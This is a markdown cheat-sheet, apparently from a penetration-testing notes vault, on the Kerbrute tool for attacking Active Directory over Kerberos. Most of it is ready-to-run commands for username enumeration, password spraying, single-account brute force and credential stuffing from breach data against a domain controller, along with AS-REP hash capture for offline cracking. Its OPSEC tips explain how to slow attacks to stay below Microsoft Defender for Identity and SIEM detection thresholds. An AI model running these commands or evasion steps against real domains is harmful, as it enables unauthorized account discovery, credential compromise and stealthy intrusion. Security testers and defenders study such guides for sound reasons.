kerbrute.md (13325B)
1 --- 2 title: "Kerbrute" 3 description: "Kerbrute Kerberos pre-auth user enumeration and password spraying against a domain controller." 4 category: active-directory 5 subcategory: "Tooling & Recon" 6 tags: [active-directory, kerberos, enumeration, spraying] 7 tools: [Kerbrute] 8 difficulty: beginner 9 updated: "2026-08-09" 10 source: "vault:ActiveDirectory/Kerbrute.md" 11 --- 12 13 # Kerbrute 14 15 > **Warning — Common Mistake: Wrong Subcommand.** The correct subcommand is `kerbrute userenum` — NOT `kerbrute user`. `kerbrute user` does not exist and will return an unknown command error. `userenum` is fully functional. 16 17 > **Important — Prerequisites.** 18 > 1. Network access to the Domain Controller on port **88 (UDP + TCP)** 19 > 2. Target domain name (FQDN — not NetBIOS) 20 > 3. Relevant username wordlist or combo file 21 > 4. Clocks within **5 minutes** of KDC (Kerberos requirement) 22 > 5. For spraying/bruteforce: know the **domain lockout policy** before running 23 24 > **Info — [Kerbrute](https://github.com/ropnop/kerbrute) Overview.** Active Directory account enumeration and credential testing tool that abuses the Kerberos AS-REQ protocol on port 88 — requires no LDAP or SMB access. 25 > 1. Enumerates valid usernames via KRB5 pre-auth error codes — no lockout risk for enumeration 26 > 2. Sprays a single password across many accounts 27 > 3. Brute forces a single account with a password list 28 > 4. Tests credential combo lists (credential stuffing) 29 > 5. Passively captures AS-REP hashes for accounts with pre-auth disabled (free AS-REP Roasting) 30 > 31 > **Repo:** https://github.com/ropnop/kerbrute — **Protocol:** Kerberos AS-REQ, port **88/UDP+TCP** 32 33 > **Info — How Kerbrute userenum Works.** Sends an AS-REQ for each username in the wordlist and inspects the KDC error code in the response. 34 > 35 > | KDC Response | Meaning | 36 > |---|---| 37 > | `KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN` (code 6) | User does **not** exist | 38 > | `PREAUTH_REQUIRED` (code 25) | User **exists** — pre-auth required | 39 > | Any other non-code-6 error | User **exists** | 40 > | AS-REP hash returned | User exists **and** pre-auth is disabled — hash is crackable | 41 42 --- 43 44 ## Installation 45 46 ```bash 47 # Pre-built binary (Linux) 48 wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 49 chmod +x kerbrute_linux_amd64 && mv kerbrute_linux_amd64 /usr/local/bin/kerbrute 50 51 # Via Go 52 go install github.com/ropnop/kerbrute@latest 53 54 # Windows 55 kerbrute_windows_amd64.exe 56 ``` 57 58 > **Info — Installation Breakdown.** 59 > 1. **wget** — downloads the pre-built binary directly from the latest GitHub release 60 > 2. **chmod +x** — makes the binary executable 61 > 3. **mv → /usr/local/bin/** — places binary in `$PATH` so `kerbrute` works globally without `./` 62 > 4. **go install** — alternative if the Go toolchain is available; compiles from source 63 > 5. Windows syntax is identical — just swap the binary name 64 65 --- 66 67 ## Global Flags 68 69 *Apply to all subcommands.* 70 71 | Flag | Default | Description | 72 |---|---|---| 73 | `-d`, `--domain` | required | Target domain (e.g. `contoso.local`) | 74 | `--dc` | auto DNS | KDC IP or hostname; set explicitly to avoid DNS issues | 75 | `-t`, `--threads` | `10` | Concurrent goroutines | 76 | `--delay` | `0` | Ms between requests; forces single thread when set | 77 | `-o`, `--output` | none | Write results to log file | 78 | `-v`, `--verbose` | off | Print failures in addition to successes | 79 | `--hash-file` | none | Save captured AS-REP hashes to file | 80 | `--safe` | off | Abort spray/brute if **any** account is locked out | 81 | `--downgrade` | off | Force RC4 (`arcfour-hmac-md5`); use against older DCs | 82 83 --- 84 85 ## Subcommands 86 87 | Subcommand | Input | Use Case | 88 |---|---|---| 89 | `userenum` | username wordlist | Enumerate valid usernames — no lockout risk | 90 | `passwordspray` | user list + single password | Spray one password across all users | 91 | `bruteuser` | single username + password list | Brute force one account | 92 | `bruteforce` | `user:pass` combo file | Multi-account credential stuffing | 93 94 --- 95 96 ## userenum — Username Enumeration 97 98 **Purpose:** Identify valid AD accounts by abusing KRB5 pre-auth error codes — no lockout triggered. 99 100 ```bash 101 # Basic enumeration 102 kerbrute userenum -d contoso.local --dc 10.10.10.100 /usr/share/seclists/Usernames/jsmith.txt 103 104 # Save valid users + grab AS-REP hashes, verbose 105 kerbrute userenum -d contoso.local --dc 10.10.10.100 \ 106 -o valid_users.txt --hash-file asrep_hashes.txt -v \ 107 /usr/share/seclists/Usernames/statistically-likely-usernames/jsmith.txt 108 109 # Higher thread count for larger wordlists 110 kerbrute userenum -d corp.local --dc 192.168.1.10 -t 50 \ 111 -o found.txt users.txt 112 113 # Windows 114 kerbrute_windows_amd64.exe userenum -d corp.local --dc 10.0.0.1 users.txt 115 ``` 116 117 > **Info — Command Breakdown (userenum).** 118 > 1. **`-d contoso.local`** — target domain FQDN (not NetBIOS name) 119 > 2. **`--dc 10.10.10.100`** — explicitly targets the KDC by IP, bypassing DNS resolution 120 > 3. **`-o valid_users.txt`** — writes confirmed valid usernames to file for later stages 121 > 4. **`--hash-file asrep_hashes.txt`** — passively captures AS-REP hashes for any pre-auth-disabled account; crack offline with `hashcat -m 18200` 122 > 5. **`-v`** — shows all attempts including failures; useful for debugging 123 > 6. **`-t 50`** — increases concurrent goroutines; raise cautiously — high values increase detection risk 124 125 > **Success — Output Interpretation.** 126 > 1. **`VALID USERNAME`** — user exists in the domain 127 > 2. **AS-REP hash lines in `--hash-file`** — account has pre-auth disabled; crack with `hashcat -m 18200` 128 > 3. **No output / all unknown** — wrong domain name, DC unreachable, or clock skew 129 130 > **Tip — OPSEC (userenum).** 131 > 1. Does **NOT** increment the bad password counter — no lockout risk 132 > 2. Does **NOT** generate Event ID 4625 (NTLM) — bypasses many legacy SIEM rules 133 > 3. **DOES** generate Event ID 4768 (Kerberos TGT request) if Kerberos audit logging is enabled 134 > 4. High volume of 4768s from a single non-domain-joined IP triggers Microsoft Defender for Identity (MDI) "Account enumeration reconnaissance" alert 135 > 5. Lower `-t` and add `--delay` to blend traffic volume — source IP context still detectable 136 137 --- 138 139 ## passwordspray — Password Spraying 140 141 **Purpose:** Test one password against many accounts — minimises per-account failure count to stay under the lockout threshold. 142 143 > **Danger — Lockout Risk: Read Before Running.** Each failed attempt **increments the bad password count**. Always determine `Account Lockout Threshold` from `Default Domain Policy` before running. Always pass `--safe` to abort if any account locks out. 144 145 ```bash 146 # Basic spray with lockout safety 147 kerbrute passwordspray -d contoso.local --dc 10.10.10.100 \ 148 --safe valid_users.txt 'Winter2025!' 149 150 # Slow spray (1 req/sec) to avoid MDI thresholds 151 kerbrute passwordspray -d contoso.local --dc 10.10.10.100 \ 152 --safe --delay 1000 -t 1 valid_users.txt 'Company123' 153 154 # Save hits 155 kerbrute passwordspray -d corp.local --dc 10.0.0.1 \ 156 --safe -o spray_hits.txt users.txt 'Password1' 157 ``` 158 159 > **Info — Command Breakdown (passwordspray).** 160 > 1. **`--safe`** — aborts the entire spray if any single account locks out; always use in production 161 > 2. **`--delay 1000`** — 1000 ms (1 second) between requests; forces single-thread sequential spray 162 > 3. **`-t 1`** — reduces to single thread; combined with `--delay` for maximum stealth 163 > 4. **`-o spray_hits.txt`** — logs successful credential pairs to file 164 > 5. Passwords with special characters must be quoted: `'P@$$w0rd'` (double quotes on Windows cmd) 165 166 > **Success — Output Interpretation.** 167 > 1. **`VALID LOGIN`** — credential pair confirmed; account not locked 168 > 2. **`LOCKED`** — account locked mid-spray; `--safe` aborts at this point 169 > 3. **No output** — password incorrect for all accounts, or all requests errored 170 171 > **Tip — OPSEC (passwordspray).** 172 > 1. Generates Event ID 4768 (TGT request) and Event ID 4771 (pre-auth failed) per attempt 173 > 2. MDI triggers "Brute force attack using Kerberos" at ~15 failures in 30 minutes from one source 174 > 3. Does **not** generate Event ID 4625 — evades NTLM-only monitors 175 > 4. Use `--delay 3600000` (1 hour between requests) for very slow sprays in hardened environments 176 177 --- 178 179 ## bruteuser — Single-Account Brute Force 180 181 **Purpose:** Brute force one specific account with a password list. 182 183 > **Danger — Lockout Risk: Read Before Running.** Generates Event ID 4768 + 4771 per failure — extremely noisy. The account will lock unless `--safe` + `--delay` are used. Rarely practical against hardened AD — prefer `passwordspray`. 184 185 ```bash 186 # Brute a single account 187 kerbrute bruteuser -d contoso.local --dc 10.10.10.100 \ 188 --safe jsmith /usr/share/wordlists/rockyou.txt 189 190 # With delay to stay under lockout threshold 191 kerbrute bruteuser -d corp.local --dc 10.0.0.1 \ 192 --safe --delay 5000 -t 1 administrator wordlist.txt 193 ``` 194 195 > **Info — Command Breakdown (bruteuser).** 196 > 1. **`jsmith`** — the single target username (positional argument after flags) 197 > 2. **`/usr/share/wordlists/rockyou.txt`** — password wordlist; each line tested sequentially 198 > 3. **`--safe`** — aborts if the account locks out mid-run 199 > 4. **`--delay 5000`** — 5 seconds between attempts; reduces lockout risk at the cost of time 200 > 5. **`-t 1`** — single thread; ensures `--delay` applies sequentially 201 202 --- 203 204 ## bruteforce — Combo List Credential Stuffing 205 206 **Purpose:** Test a list of `username:password` pairs — useful for credential stuffing from breach data. 207 208 ```bash 209 # Credential stuffing from breach data 210 kerbrute bruteforce -d contoso.local --dc 10.10.10.100 \ 211 --safe -o valid_creds.txt combos.txt 212 213 # Pipe from stdin 214 cat combos.txt | kerbrute bruteforce -d contoso.local --dc 10.10.10.100 --safe - 215 ``` 216 217 > **Info — Command Breakdown (bruteforce).** 218 > 1. **`combos.txt`** — combo file with one `username:password` pair per line 219 > 2. **`--safe`** — aborts on first observed lockout; note this only catches the first locked account 220 > 3. **`-o valid_creds.txt`** — writes confirmed valid pairs to file 221 > 4. **Stdin pipe** — pass `-` as the file argument to read from stdin 222 > 5. Best used with `--delay` in production environments 223 224 > **Example — Combo File Format.** 225 > ```text 226 > jsmith:Password1 227 > bwilson:Summer2024! 228 > administrator:Welcome1 229 > ``` 230 231 > **Tip — OPSEC (bruteforce).** 232 > 1. Same detection surface as `passwordspray` — generates 4768 and 4771 events 233 > 2. Per-account lockout risk; `--safe` only aborts on the **first** observed lockout 234 > 3. Always use `--delay` in production environments 235 236 --- 237 238 ## Common Errors & Fixes 239 240 | Error | Cause | Fix | 241 |---|---|---| 242 | `clock skew too great` | Kerberos requires clocks within 5 min of KDC | `sudo ntpdate <DC_IP>` or `sudo timedatectl set-ntp true` | 243 | `no such host` / DNS error | DNS cannot resolve DC hostname | Explicitly pass `--dc <IP>` | 244 | `kerbrute: command not found` | Binary not in `$PATH` | Use `./kerbrute` or move to `/usr/local/bin/` | 245 | `kerbrute user` → unknown command | Wrong subcommand | Correct subcommand is `kerbrute userenum` | 246 | Zero results on large wordlist | Wrong domain name or DC unreachable | Confirm FQDN (not NetBIOS); test with a known username first | 247 | Accounts locked mid-run | Lockout threshold too low or spray too fast | Always pass `--safe`; check `Default Domain Policy → Account Lockout Threshold` | 248 | No successes on known-valid creds | Domain name or DC routing issue | Test with `bruteuser` against your own test account first | 249 250 ```bash 251 # Fix clock skew 252 sudo ntpdate <DC_IP> 253 # or 254 sudo timedatectl set-ntp true 255 ``` 256 257 > **Info — Clock Skew Fix Breakdown.** 258 > 1. **`ntpdate <DC_IP>`** — forces an immediate one-shot NTP sync against the DC's IP directly 259 > 2. **`timedatectl set-ntp true`** — enables the system's persistent NTP daemon for ongoing sync 260 > 3. Kerberos enforces a 5-minute maximum clock difference between client and KDC — non-negotiable 261 262 --- 263 264 ## Recommended Wordlists 265 266 | List | Source | Best For | 267 |---|---|---| 268 | `jsmith.txt` | [insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) | `userenum` | 269 | `xato-net-10-million-usernames.txt` | [SecLists/Usernames](https://github.com/danielmiessler/SecLists/tree/master/Usernames) | `userenum` (large) | 270 | `rockyou.txt` | Kali `/usr/share/wordlists/` | `bruteuser` | 271 | `probable-v2-wpa-top4800.txt` | [SecLists](https://github.com/danielmiessler/SecLists) | `passwordspray` | 272 | Custom `firstname.lastname` lists | username-anarchy / OSINT | Targeted `userenum` | 273 274 --- 275 276 ## References 277 278 1. [ropnop/kerbrute — GitHub](https://github.com/ropnop/kerbrute) 279 2. [Event ID 4768 — Kerberos TGT Request](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768) 280 3. [Event ID 4771 — Kerberos Pre-auth Failed](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4771) 281 4. [HackTricks — AS-REP Roasting](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast) 282 5. [MITRE ATT&CK — T1110.003 Password Spraying](https://attack.mitre.org/techniques/T1110/003/) 283 6. [MITRE ATT&CK — T1087.002 Domain Account Enumeration](https://attack.mitre.org/techniques/T1087/002/) 284 7. [Microsoft Defender for Identity](https://learn.microsoft.com/en-us/defender-for-identity/)